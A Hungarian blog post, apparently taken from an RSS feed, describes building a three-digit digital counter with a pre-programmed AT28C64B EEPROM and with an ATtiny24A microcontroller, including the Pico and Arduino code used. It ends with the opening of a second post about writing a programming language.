<p>Az ott használt alkatrészek ugyan nem teljesen felelnek meg a céljainknak, de az alapötletet fel tudjuk használni: az EEPROM-ban letároljuk előre, hogy adott szám és adott számjegy esetén a 7 szegmens közül melyikeket kell bekapcsolni.</p>
<p>Tehát az EEPROM bemenete az lesz, hogy melyik számjegyet jelenítjük meg éppen (3 pin) és melyik számnál járunk éppen (10 pin, 10 bit, 0 és 1023 közötti számok). A kimenet pedig a hét szegmens állapota (7 pin). Az <strong>AT28C64B</strong> pont megfelel ezeknek a feltételeknek, 13 bemenete és 8 kimenete van.</p>
<pre class="ascii"><code>     ┌───┬──┬───┐
     ┤ • └──┘   ├ VDD
 A12 ┤          ├ WE'
  A7 ┤          ├ 
  A6 ┤          ├ A8
  A5 ┤          ├ A9
  A4 ┤          ├ A11
  A3 ┤          ├ OE'
  A2 ┤ AT28C64B ├ A10
  A1 ┤          ├ CE'
  A0 ┤          ├ I/O7
I/O0 ┤          ├ I/O6
I/O1 ┤          ├ I/O5
I/O2 ┤          ├ I/O4
 VSS ┤          ├ I/O3
     └──────────┘
</code></pre>
<p>Az áramkör eleje nagyon ismerős lesz, először is egy monostabil <strong>555</strong> időzítő a gombnyomás pergés mentesítéséhez, egy astabil <strong>555</strong> időzítő az órajelhez és egy <strong>CD4017B</strong> IC, amivel a három számjegyből választjuk ki az egyiket. Számlálónak a <strong>CD4040B</strong>-t fogjuk használni, ami 12 bitnyi bináris kimenetet produkál (0-tól 4095-ig tud számolni).</p>
<pre class="ascii"><code>    ┌───┬──┬───┐
Q12 ┤ • └──┘   ├ VDD
 Q6 ┤          ├ Q11
 Q5 ┤          ├ Q10
 Q7 ┤          ├ Q8
 Q4 ┤ CD4040B  ├ Q9
 Q3 ┤          ├ RESET
 Q2 ┤          ├ CLOCK
VSS ┤          ├ Q1
    └──────────┘
</code></pre>
<p>Az <strong>AT28C64B</strong>-be töltött adat végzi el a konvertálást a bináris számláló és a LED kijelző között. A LED kijelző pedig most egy <strong>BA56-12</strong> lesz, hogy ne kelljen invertálni az órajelet (a közös anód miatt a kiválasztott számjegy magas állapotban kell, hogy legyen, a világításra ítélt szegmens pedig alacsonyban).</p>
<p>Először is meg kell töltenünk adattal az EEPROM-ot. Ehhez egy Raspberry Pi Pico-t használtam, szerencsére pont van rajta elég GPIO pin.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/pico_eeprom.jpg" width="660" height="450" alt="Két Raspberry Pi Pico és az EEPROM, amit felprogramoznak" title="" loading="lazy" />
</p>

<p>Írtam hozzá egy kis programot, de lusta voltam értelmezni az <strong>AT28C64B</strong> időzítési diagramjait, inkább elég nagy ráhagyásokkal dolgoztam, ami a <code>sleep</code>-eket illeti. Így elég lassú lett, cserébe viszont nem is annyira megbízható. Egymás után többször is le kellett futtatnom, hogy a megfelelő értékeket írja be.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> A0 10</span>
<span class="hljs-comment">// ...</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> A12 2</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IO0 11</span>
<span class="hljs-comment">// ...</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IO7 18</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> WE 27</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> OE 20</span>

<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> address[<span class="hljs-number">13</span>] = { A0, A1, A2, A3, A4, A5, A6, A7, A8, A9, A10, A11, A12 };
<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> io[<span class="hljs-number">8</span>] = { IO5, IO7, IO1, IO4, IO3, IO6, IO2, IO0 };

<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> numbers[<span class="hljs-number">10</span>][<span class="hljs-number">8</span>] = {
    {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
    {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
};
</code></pre>
<p>Egy kis konfigurációval indítunk. Szükségünk van arra, hogy az <strong>AT28C64B</strong> pinjei melyik Pico pin-eknek felelnek meg. Aztán definiáljuk a cím- és I/O pin-ek sorrendjét és végül kell egy megfeleltetés, hogy melyik számot melyik szegmensek reprezentálják.</p>
<p>A cím- és I/O pin-ek sorrendje itt attól függ, hogy a végleges helyén hogyan fogjuk összedrótozni az <strong>AT28C64B</strong>-t a bemeneteivel és a kimenetével. A cím esetén az <code>A0</code>-<code>A9</code> pinre fog érkezni a szám, ahol a számláló tart. Az <code>A10</code>-<code>A12</code> pinek pedig a számjegy kiválasztására lesznek használva. Az I/O pin-ek azért vannak össze-vissza, hogy legyen elég hely a vezetékeknek az EEPROM és a kijelző között.</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>
</span>{
    stdio_init_all();

    gpio_init(WE);
    gpio_set_dir(WE, GPIO_OUT);
    gpio_put(WE, <span class="hljs-literal">true</span>);

    gpio_init(OE);
    gpio_set_dir(OE, GPIO_OUT);
    gpio_put(OE, <span class="hljs-literal">true</span>);

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> pin : address)
    {
        gpio_init(pin);
        gpio_set_dir(pin, GPIO_OUT);
        gpio_put(pin, <span class="hljs-literal">false</span>);
    }
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> pin : io)
    {
        gpio_init(pin);
        gpio_set_dir(pin, GPIO_OUT);
        gpio_put(pin, <span class="hljs-literal">false</span>);
    }

    <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>Az inicializálás során mindent kimenetre állítunk és mindent kikapcsolunk. A <code>WRITE ENABLE</code> és <code>OUTPUT ENABLE</code> pin-ek esetén ez magas állapotot jelent. Ezek után folytathatjuk a <code>main()</code> függvény tartalmát az adatok beírásával.</p>
<pre><code class="hljs arduino"><span class="hljs-built_in">printf</span>(<span class="hljs-string">"write\n"</span>);
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">1000</span>; ++i)
{
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> j = <span class="hljs-number">0</span>; j &lt; <span class="hljs-number">10</span>; ++j)
    {
        gpio_put(address[j], (i &amp; <span class="hljs-keyword">static_cast</span>&lt;<span class="hljs-keyword">int</span>&gt;(<span class="hljs-built_in">pow</span>(<span class="hljs-number">2</span>, j))) &gt; <span class="hljs-number">0</span>);
    }

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> j = <span class="hljs-number">0</span>; j &lt; <span class="hljs-number">3</span>; ++j)
    {
        gpio_put(address[<span class="hljs-number">10</span>], <span class="hljs-literal">false</span>);
        gpio_put(address[<span class="hljs-number">11</span>], <span class="hljs-literal">false</span>);
        gpio_put(address[<span class="hljs-number">12</span>], <span class="hljs-literal">false</span>);
        gpio_put(address[<span class="hljs-number">10</span> + j], <span class="hljs-literal">true</span>);

        <span class="hljs-keyword">const</span> <span class="hljs-keyword">int</span> digit = i / <span class="hljs-keyword">static_cast</span>&lt;<span class="hljs-keyword">int</span>&gt;(<span class="hljs-built_in">pow</span>(<span class="hljs-number">10</span>, j)) % <span class="hljs-number">10</span>;

        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> k = <span class="hljs-number">0</span>; k &lt; <span class="hljs-number">8</span>; ++k)
        {
            gpio_put(io[k], numbers[digit][k]);
        }

        sleep_ms(<span class="hljs-number">5</span>);
        gpio_put(WE, <span class="hljs-literal">false</span>);
        sleep_ms(<span class="hljs-number">5</span>);
        gpio_put(WE, <span class="hljs-literal">true</span>);
        sleep_ms(<span class="hljs-number">5</span>);
    }
    <span class="hljs-keyword">if</span> (i % <span class="hljs-number">10</span> == <span class="hljs-number">0</span>)
    {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"."</span>);
    }
}
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"\ndone.\n"</span>);
</code></pre>
<p>A cím első 10 bitje a szám, amit meg akarunk jeleníteni. Az utolsó 3 bit az éppen aktív számjegyet jelöli. Az eltárolt érték az adott helyi értéken lévő számjegy 7 szegmenses reprezentációja lesz. Ehhez eggyel/tízzel/százzal osztjuk el az eredeti számot és megnézzük a tízzel osztás során képződő maradékát.</p>
<p>A cím és az I/O pin-ek értékeinek beállítása után be- majd újra kikapcsoljuk az <code>WRITE ENABLE</code> pin-t és megyünk tovább a következő számjegyre majd számra.</p>
<p>Az EEPROM felprogramozása után már csak össze kell kötnünk mindent.</p>
<pre class="ascii"><code>         ╔═════╗ ╔═════════╗
         ║ 555 ╟─╢ CD4017B ╟─┐
         ╚═════╝ ╚═════════╝ │ ╔══════════╗ ╔═════════╗
                             ├─╢ AT28C64B ╟─╢ BA56-12 ║
╔══════╗ ╔═════╗ ╔═════════╗ │ ╚══════════╝ ╚═════════╝
║ Gomb ╟─╢ 555 ╟─╢ CD4040B ╟─┘
╚══════╝ ╚═════╝ ╚═════════╝
</code></pre>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/digital_counter_2.jpg" width="660" height="450" alt="Az EEPROM-os változata a digitális számlálónak egy próbapanelen" title="" loading="lazy" />
</p>

<p>Ez a verzió ugyan fele akkora lett, mint az előző, de azért vannak hibái. A használt számláló chip 12 bites, amiből 10 bitet használunk. 10 biten 0-tól 1023-ig tudunk elszámolni, de a kijelzőn csak három számjegy látszik. Úgyhogy a kedves felhasználó azt fogja tapasztalni, hogy 999 után 23-ig fog számolni, aztán újra 999-ig, aztán újra 23-ig és így tovább.</p>
<p>Ezen kívül a <strong>CD4017B</strong> valószínűleg nem tud elég áramot adni, hogy rendesen meg legyenek hajtva a LED-ek, ezért olyan halovány a kijelző.</p>
<p>Valószínűleg egyik probléma sem megoldhatatlan, de extra komponenseket jelentenek, amik tovább növelik a méretet. Mi a helyzet akkor, ha valami kisebbet szeretnénk?</p>
<p><a name="szoftveres-megoldasok"></a></p>
<h3>Szoftveres megoldások</h3>
<p>Utolsó ötletem a legelőször elvetett volt: egy mikrokontroller. Ugyan egy Raspberry Pi Pico túlzás lenne egy ilyen kicsi feladathoz, de kereshetünk valamit, ami jobban passzol.</p>
<p>Amire szükségünk van: 7 kimenet a szegmensekhez, 3 kimenet a számjegy választáshoz és két bemenet a gomboknak. Az <strong>ATtiny24A</strong> pont jónak is tűnik. 12 pin-ből 11-et tudunk használni a saját céljainkra, a tizenkettedik pedig fixen a <code>RESET</code>, ami pont jó, mert arra van szükségünk.</p>
<pre class="ascii"><code>       ┌───┬──┬───┐
   VDD ┤ • └──┘   ├ VSS
   PB0 ┤          ├ PA0
   PB1 ┤          ├ PA1
RESET' ┤ ATtiny24 ├ PA2
   PB2 ┤          ├ PA3
   PA7 ┤          ├ PA4
   PA6 ┤          ├ PA5
       └──────────┘
</code></pre>
<p>Az áramkör ennél egyszerűbb talán már nem is lehet, csak az <strong>ATtiny24A</strong>, két gomb és a LED kijelző (újra egy <strong>BA56-12</strong>, de ez esetben bármelyiket használhattuk volna, csak a kódon változtat).</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/attiny.jpg" width="660" height="611" alt="Kapcsolási rajz: ATtiny24A és az LCD kijelző" title="" loading="lazy" />
</p>
<p class="image-caption">Sajnos a kijelzőhöz nem volt megfelelő komponens, úgyhogy csak a helye van ott</p>

<p>Az egyszerűség oka pedig az, hogy mindent szoftverből kell megoldanunk. Ehhez fel kell programoznunk az ATtiny-t. Először egy Raspberry Pi-t próbáltam használni, de valamiért nem működött, úgyhogy végül egy Arduino UNO-val mentem.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/attiny_arduino.jpg" width="660" height="611" alt="ATtiny24A programozása Arduino UNO segítségével" title="" loading="lazy" />
</p>

<p>Nem a legegyszerűbb dolog programot juttatni az ATtiny-re, de nem mennék bele a részletekbe, <a href="https://www.instructables.com/Using-the-Arduino-Uno-to-program-ATTINY84-20PU/">itt van rá egy részletes leírás</a>. Ugorjunk inkább a programozásra.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">const</span> <span class="hljs-keyword">byte</span> digits[<span class="hljs-number">3</span>] PROGMEM = {<span class="hljs-number">0</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>};
<span class="hljs-keyword">const</span> <span class="hljs-keyword">byte</span> segments[<span class="hljs-number">7</span>] PROGMEM = {<span class="hljs-number">1</span>, <span class="hljs-number">5</span>, <span class="hljs-number">7</span>, <span class="hljs-number">9</span>, <span class="hljs-number">10</span>, <span class="hljs-number">2</span>, <span class="hljs-number">6</span>};

<span class="hljs-keyword">const</span> <span class="hljs-keyword">byte</span> numbers[<span class="hljs-number">10</span>][<span class="hljs-number">7</span>] PROGMEM = {
  {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
  {<span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>},
  {<span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>},
};

<span class="hljs-keyword">const</span> <span class="hljs-keyword">byte</span> buttonPin = <span class="hljs-number">8</span>;
</code></pre>
<p>Maga a program ismét egy kis inicializációval indul. Megadjuk a számjegy és szegmens pin-eket, valamint a korábban már használt megfeleltetést a számjegy és a szegmensek között. A nagyobb adatokat program memóriában tároljuk (<code>PROGMEM</code>), hogy futás közben ne foglalják a helyet. Cserébe kicsit nehezebb lesz elérni őket.</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">setup</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">byte</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">3</span>; ++i) {
    <span class="hljs-built_in">pinMode</span>(pgm_read_byte(&amp;digits[i]), <span class="hljs-literal">OUTPUT</span>);
    <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[i]), <span class="hljs-literal">LOW</span>);
  }
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">byte</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">7</span>; ++i) {
    <span class="hljs-built_in">pinMode</span>(pgm_read_byte(&amp;segments[i]), <span class="hljs-literal">OUTPUT</span>);
    <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;segments[i]), <span class="hljs-literal">HIGH</span>);
  }

  <span class="hljs-built_in">pinMode</span>(buttonPin, <span class="hljs-literal">INPUT</span>);
  <span class="hljs-built_in">attachInterrupt</span>(digitalPinToInterrupt(buttonPin), increment, RISING);  
}
</code></pre>
<p>A számjegy választókat és a szegmenseket lekapcsoljuk, a gomb pin-jére pedig rakunk egy megszakítást. A <code>pgm_read_byte</code> a korábban említett nehezebb elérése a program memóriában tárolt adatoknak.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">volatile</span> <span class="hljs-keyword">byte</span> d0 = <span class="hljs-number">0</span>;
<span class="hljs-keyword">volatile</span> <span class="hljs-keyword">byte</span> d1 = <span class="hljs-number">0</span>;
<span class="hljs-keyword">volatile</span> <span class="hljs-keyword">byte</span> d2 = <span class="hljs-number">0</span>;

<span class="hljs-keyword">volatile</span> <span class="hljs-keyword">bool</span> pressed = <span class="hljs-literal">false</span>;
<span class="hljs-keyword">volatile</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> pressTime;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">increment</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-keyword">if</span> (!pressed) {
    pressed = <span class="hljs-literal">true</span>;
    pressTime = <span class="hljs-built_in">millis</span>();

    d2 += <span class="hljs-number">1</span>;
    <span class="hljs-keyword">if</span> (d2 &gt; <span class="hljs-number">9</span>) {
      d2 = <span class="hljs-number">0</span>;
      d1 += <span class="hljs-number">1</span>;
      <span class="hljs-keyword">if</span> (d1 &gt; <span class="hljs-number">9</span>) {
        d1 = <span class="hljs-number">0</span>;
        d0 += <span class="hljs-number">1</span>;
        <span class="hljs-keyword">if</span> (d0 &gt; <span class="hljs-number">9</span>) {
          d0 = <span class="hljs-number">0</span>;
        }
      }
    }
  }
}
</code></pre>
<p>A megszakítás eltárolja a megnyomás idejét és megnöveli a számjegyeket, ha még nem volt megnyomva a gomb. Ez lesz a pergés elleni védelmünk alapja.</p>
<p>A számjegyek külön tárolása és egyesével növelése nem nevezhető éppen elegánsnak, de megspórolhatunk vele néhány osztást és maradék számítást a kijelző vezérlése során.</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">loop</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-keyword">if</span> (pressed) {
    <span class="hljs-built_in">noInterrupts</span>();
    <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> t = pressTime;
    <span class="hljs-built_in">interrupts</span>();
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">millis</span>() - t &gt; <span class="hljs-number">150</span>) {
      pressed = <span class="hljs-literal">false</span>;
    }
  }

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">byte</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">7</span>; ++i) {
    <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;segments[i]), pgm_read_byte(&amp;numbers[d0][i]));
  }
  <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[<span class="hljs-number">0</span>]), <span class="hljs-literal">HIGH</span>);
  <span class="hljs-built_in">delay</span>(<span class="hljs-number">5</span>);
  <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[<span class="hljs-number">0</span>]), <span class="hljs-literal">LOW</span>);

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">byte</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">7</span>; ++i) {
    <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;segments[i]), pgm_read_byte(&amp;numbers[d1][i]));
  }
  <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[<span class="hljs-number">1</span>]), <span class="hljs-literal">HIGH</span>);
  <span class="hljs-built_in">delay</span>(<span class="hljs-number">5</span>);
  <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[<span class="hljs-number">1</span>]), <span class="hljs-literal">LOW</span>);

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">byte</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">7</span>; ++i) {
    <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;segments[i]), pgm_read_byte(&amp;numbers[d2][i]));
  }
  <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[<span class="hljs-number">2</span>]), <span class="hljs-literal">HIGH</span>);
  <span class="hljs-built_in">delay</span>(<span class="hljs-number">5</span>);
  <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[<span class="hljs-number">2</span>]), <span class="hljs-literal">LOW</span>);
}
</code></pre>
<p>Programunk fő részében kezeljük a megnyomott gombot: ha elég idő telt el a gomb megnyomása óta (esetünkben 150 mililszekundum), akkor engedjük újra megnyomni a gombot. Nem tökéletes megoldás (mi van mondjuk olyan esetben, ha valaki hosszabb ideig tartja nyomva a gombot és a felengedés okoz pergést?), de itt és most bőven elég.</p>
<p>Ezen kívül itt kezeljük a LED kijelzőt is. Ebben a részben talán nincs semmi meglepő. A <code>numbers</code> tömb megfeleltetése alapján beállítjuk a megfelelő kimenetet a szegmens pin-eken minden egyes számjegyre. A számjegyeket csak kis időre kapcsoljuk be és gyorsan váltakozik az éppen megjelenített számjegy, hogy úgy tűnjön, mintha mindhárom számjegy egyszerre lenne látható.</p>
<p>A <code>delay</code> lehet, hogy egy kicsit magas, azzal érdemes lehet még játszani. Az alábbi képen látszik is, hogy nem egységes fényerejűek a számjegyek, valószínűleg túl alacsony volt még a frissítési gyakoriság.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/digital_counter_3.jpg" width="660" height="450" alt="A digitális számláló mikrokontrolleres változata fél próbapanelen" title="" loading="lazy" />
</p>

<p>Sikerült újra megfeleznünk a számláló áramkörünk méretét és azt hiszem ez a legkisebb méret, amit próbapanelen el tudunk érni.</p>
<p>Ugyan a cél nem egy használható méretű digitális kézi számláló volt, de azért nem baj, hogy a végére sikerült valami olyasmit összerakni, ami megfelelően csomagolva egy használható eszköz is lehetne.</p>
<h3>Végelszámolás</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/all_digital_counters.jpg" width="660" height="960" alt="A három elkészült digitális számláló egymás alatt" title="" loading="lazy" />
</p>

<p>Három és fél próbapanel, tizenhat IC, méretre vágott vezetékek százai, vagy fél tucat bütyköléssel töltött este, egy (rövidzárlat okozta túlmelegedésből adódó) égési sérülés és a végeredmény: három digitális számláló.</p>
<ul>
<li>egy cél-chip-eket használó óriási méretű megoldás, ahol a legnagyobb kihívás a sok vezeték volt</li>
<li>egy előre programozott EEPROM-os változat a maga különc működésével</li>
<li>egy mikrokontroller vezérelt, ahol a limitált hardver hajlamos megviccelni az óvatlan programozókat</li>
</ul>
<p>Bár méretileg csökkentek a megoldások, az első változatban jelen lévő és szemmel is jól látható komplexitás nem veszett el a lépések során, csak átvándorolt a memóriába, majd a program kódba.</p>
<h3>Különszám</h3>
<p><em>Bredbord kényes egyensúlyát egy gombnyomás rázta meg. A pergés okozta zaj elérte 555 bemenetét és a monostabil időzítőben cikázó feszültség megnyitotta az utat a feltöltődés felé. A zaj tüskéi továbbra is bele-belemartak, de 555 kitartotta a jelet míg a növekvő feszültség olyan mértékű lett, hogy egy kisülés kíséretében el kellett engednie. Büszkeséggel tekintett utána, ahogy egybeolvadt az ismeretlennel. Lélekben azonban már a következő ostromra készült.</em></p>
<p><em>CD4026B az elkerülhetetlenség nyugalmával várta a rendületlenül felé közeledő órajel ketyegését. Reteszeken és kapukon keresztülszáguldva megváltoztatta belső állapotát. A számláló kilencese átfordult nullába. Visszajutott oda, ahonnan indult, egy újabb kezdethez a végtelen körforgásban. A túlcsordulás ugyan a semmibe vezette a jelet, de Bredbord már kibillent egyensúlyából, ezzel CD4026B olyan megállíthatatlan folyamatokat indított el, amik túlmutatnak létezésén.</em></p>
<p><em>Hét részre szakadva terjedt tovább a változás a szegmens lábakon BC56-12 LED-jei felé. Néhányuk a vak semmibe zuhanva hosszú álomba merültek. Mások a feszültség izgalmától fénylőn ébredtek új életre. Az általuk kirajzolt minta isteni kinyilatkoztatásként ragyogott fel: átmenetileg ugyan, de ismét helyreállt az egyensúly.</em></p>

]]></content:encoded>
        </item>
            <item>
            <title>A rekurzív ereszkedés</title>
            <link>https://deadlime.hu/2026/05/05/a-rekurziv-ereszkedes/</link>
            <pubDate>Tue, 05 May 2026 10:40:06 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[OCaml]]></category>
                    <category><![CDATA[programozás]]></category>
                    
            <guid isPermaLink="false">059a51c95ac85f6876b85c812cec1b85</guid>
            <description>Bejárni a szintaxis erdőt, elmerülni a rekurzió mélységeiben</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/mandelbrot.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Keltél már fel úgy reggel, hogy kedved lenne írni egy programozási nyelvet? Nem? Az azért elég fura. De nem azért vagyunk most itt, hogy megvitassuk kinek hol siklott félre az élete, írjunk inkább egy programozási nyelvet!</p>
<p>A programozási nyelv írás remek lehetőség lappangó istenkomplexusunk kiélésre, mivel teremthetünk egy világot a saját szabályaink szerint. Nem szereted, ha az <code>if</code> után valaki új sorba írja a kapcsos zárójelet? Dobjál rá syntax error-t! Kiráz a hideg a camel case-es függvény nevektől? Tiltsd be őket! Valami fura oknál fogva azt szeretnéd, hogy az összes változó <code>$</code> jellel kezdődjön? Itt van rá a remek lehetőség!</p>
<p>Egy ilyen volumenű projekt rengeteg előzetes tervezéssel indul, kezdve azzal, hogy milyen problémát akarunk megoldani az új nyelvvel, egészen az olyan apró részletekig, mint hogy hogyan működik a változók láthatósága vagy hogy legyen-e külön operátor string-ek összefűzésére. Ezt mi most mind kihagyjuk és rögtön belevágunk a közepébe... vagy valamelyik részébe. Nem tudom, mivel nem terveztük meg.</p>
<h3>Tartalom</h3>
<ol start="0">
<li><a href="#0">Első lépések</a></li>
<li><a href="#1">A lexikális elemző</a></li>
<li><a href="#2">Operátorok</a></li>
<li><a href="#3">Műveleti sorrend</a></li>
<li><a href="#4">A szintaktikai elemző</a></li>
<li><a href="#5">Utasítások</a></li>
<li><a href="#6">A kiértékelő</a></li>
<li><a href="#7">Zárójelezés</a></li>
<li><a href="#8">Számos lehetőség</a></li>
<li><a href="#9">Változók</a></li>
<li><a href="#10">Vezérlési szerkezetek</a></li>
<li><a href="#11">Itt a vég</a></li>
</ol>
<p><a name="0"></a></p>
<h3>Első lépések</h3>
<p>Kezdetben vala a nyers szöveg. A karakterekből tokenek születnek, amiből növesztünk egy szintaxis fát. A fa rugalmas alapanyag, sok mindent lehet belőle csinálni, mint például natív binárist vagy virtuális gép bájt kódot, de akár rögtön le is futtathatjuk.</p>

<p class="image image-center">
